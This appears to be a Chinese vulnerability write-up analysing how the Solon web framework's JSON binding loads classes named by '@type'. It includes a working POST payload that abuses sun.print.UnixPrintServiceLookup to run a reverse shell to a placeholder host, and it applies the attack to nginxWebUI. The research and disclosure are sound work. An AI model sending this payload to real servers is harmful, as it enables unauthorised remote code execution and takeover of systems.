前言

上次看到星球有提到过solon这个国产的web框架,自己后面又看了下,发现在2.5.11及之下的版本对json的解析都有类似fastjosn的特点,可以达成在linux下&jdk环境中的RCE

环境搭建

直接使用官方的示例 https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&project=maven&javaVer=1.8

修改pom.xml的solon-parent版本为2.5.11(存在漏洞的版本)

然后注意必须要在linux&&jdk环境下启动

漏洞触发的条件很简单,只要有接收参数的任意路由即可

POC

直接post发送如下json数据即可RCE

// 反弹shell
{
    "name": {
        "@type": "sun.print.UnixPrintServiceLookup",
        "lpcFirstCom": [
            ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
            ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
        ]
    }
}

漏洞分析

先看看solon是怎么处理json数据的参数绑定的

直接在hello路由下断点,然后往前跟踪调用栈

我们直接发送json格式的数据

从这里往上找参数绑定的调用栈

可以看到在 org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle 这里调用执行了mWrap.invokeByAspect(obj, args.toArray()) 从而调用我们自定义的 com.example.demo.DemoController#hello 方法,而在上面的29行执行 buildArgs(ctx, obj, mWrap) ,从名子就能看出来是用于参数绑定

我们跟进这个参数绑定的方法

buildArgs中先是会对接收到的数据进行 changeBody 处理

当我们传的是json数据时会做一个json解析,得到一个ONode对象

后续回到 buildArgs 则是对hello路由方法的参数取得类型,并根据类型做相应的处理

后续来到 this.changeValue 这里

有一些判断,检验是否有 hello 方法对应的参数

继续跟进来到关键的 toObject 方法中

一路跟进来到 org.noear.snack.to.ObjectToer#analyse 中,这里会对我们的 ONode 对象做一些特殊处理

这里有两个点要过,由于我们传入的json是 {"name":"pankas"} ,所以这里流程会走到正常的字符串处理,clz 的值为 java.lang.String

我们发送这样的json看看后续会怎么处理

{"name":{}}

修改后来到 clz = this.getTypeByNode(ctx, o, clz);

跟进,在 org.noear.snack.to.ObjectToer#getTypeByNode 方法中可以看到,当类型为 Object 时,会取其中键为 @type 的值来进行一个类的加载

这里我们先随便给一个类看看

{"name":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}

可以看到确实进行了一个类加载

后续看看是怎么处理这个 clz 的

后续在一个 switch case后,会来到一个 Object的处理位置

...
...

case Object:
    o.remove(ctx.options.getTypePropertyName());
    if (Properties.class.isAssignableFrom(clz)) {
        return this.analyseProps(ctx, o, (Properties)rst, clz, type, genericInfo);
    } else if (Map.class.isAssignableFrom(clz)) {
        return this.analyseMap(ctx, o, clz, type, genericInfo);
    } else {
        if (StackTraceElement.class.isAssignableFrom(clz)) {
            String declaringClass = o.get("declaringClass").getString();
            if (declaringClass == null) {
                declaringClass = o.get("className").getString();
            }

            return new StackTraceElement(declaringClass, o.get("methodName").getString(), o.get("fileName").getString(), o.get("lineNumber").getInt());
        }

        if (type instanceof ParameterizedType) {
            genericInfo = GenericUtil.getGenericInfo(type);
        }

        return this.analyseBean(ctx, o, rst, clz, type, genericInfo);
    }
    
 ...
 ...

这里我们直接来到最后的 this.analyseBean(ctx, o, rst, clz, type, genericInfo);

这里就能发现对上面获取到的 clz 进行看实例化

后续会判断我们传入的对象中是否有对应属性的值,如果存在则会进行一个赋值

赋值这里关键要看目标类中有哪些属性,不同于fastjson的是这里赋值并不会调用对象的 settergetter 方法

这里目标类的获取首先也是从缓存中获取,先来看看第一次加载目标类是如何处理包装的

跟进 ClassWrap.get(clz)

ClassWrap 的构造方法中会调用 this.scanAllFields(clz, map::containsKey, map::put) 对目标类进行一个扫描

/**
 * 扫描一个类的所有字段
 */
private void scanAllFields(Class<?> clz, Predicate<String> checker, BiConsumer<String, FieldWrap> consumer) {
    if (clz == null) {
        return;
    }

    for (Field f : clz.getDeclaredFields()) {
        int mod = f.getModifiers();

        if (!Modifier.isStatic(mod)
                && !Modifier.isTransient(mod)) {

            if(_isMemberClass && f.getName().equals("this$0")){
                continue;
            }

            if (checker.test(f.getName()) == false) {
                _recordable &= Modifier.isFinal(mod);
                consumer.accept(f.getName(), new FieldWrap(clz, f, Modifier.isFinal(mod)));
            }
        }
    }

    Class<?> sup = clz.getSuperclass();
    if (sup != Object.class) {
        scanAllFields(sup, checker, consumer);
    }
}

可以看到,我们最终所获得的 Field 是目标类中的非静态变量

继续往下,看看是怎么对我们所创建的对象进行赋值的

...
...

for (FieldWrap f : clzWrap.fieldAllWraps()) {
    if (f.isDeserialize() == false) {
        continue;
    }
    String fieldK = f.getName();

    if (excNames != null && excNames.contains(fieldK)) {
        continue;
    }


    if (o.contains(fieldK)) {
        Class fieldT = f.type;
        Type fieldGt = f.genericType;

        if (f.readonly) {
            analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o, f.getValue(rst), genericInfo);
        } else {


            Object val = analyseBeanOfValue(fieldK, fieldT, fieldGt, ctx, o, f.getValue(rst), genericInfo);

            if (val == null) {
                //null string 是否以 空字符处理
                if (ctx.options.hasFeature(Feature.StringFieldInitEmpty) && f.type == String.class) {
                    val = "";
                }
            }

            f.setValue(rst, val, disSetter);
        }
    }
}

...
...

先随便给个值 {"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSource":"pankas"}}

(中间还有一些递归处理json对象嵌套流程省略,代码很清晰,可以自己看看)

进入 f.setValue(rst, val, disSetter);

这里也是比较简单,如果有对应的 setter 则用对应的 setter 进行赋值,没有则使用反射进行赋值

所以整个json的解析和fastjson是比较相似的,那为什么不能使用fastjson的payload直接打呢

原因是这里赋值的前提条件时目标对象必须要有对应的字段才可以

比如说这里经典的fastjson的payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

由于目标对象中并没有 dataSourceNameautoCommit 属性,所以并不会调用其 setter 方法,所以这算是一个很大的限制。

那有没有能利用的类呢,刚好有一个,就是 sun.print.UnixPrintServiceLookup 这个类,关于这个类网上都有很多的资料了,这里不过多做解释

sun.print.UnixPrintServiceLookup 在实例化时会开启一个线程循环执行 UnixPrintServiceLookup.this.refreshServices();

在linux下会执行到 this.getDefaultPrinterNameBSD(); 方法

其中存在大量的命令拼接及执行操作

所以这里我们直接覆盖修改 lpcFirstCom 属性即可

最终我们的payload就是

// 反弹shell
{
    "name": {
        "@type": "sun.print.UnixPrintServiceLookup",
        "lpcFirstCom": [
            ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
            ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
        ]
    }
}

最新版 nginxWebUI(v4.2.2) 前台RCE

后面又看了下有哪些使用了比较老版本的solon,发现nginxWebUI 的solon版本是2.4.5,刚好是存在漏洞的版本。

但使用官方的docker镜像环境发现RCE失败了,原因是默认是使用jre环境,找不到 sun.print.UnixPrintServiceLookup 这个类,所以限制其实还蛮大的(看看其他师傅们有没有办法解决这个问题)

所以这个洞也只能是在jdk环境下启动才行

使用jdk环境下启动nginxWebUi发现就能正常RCE了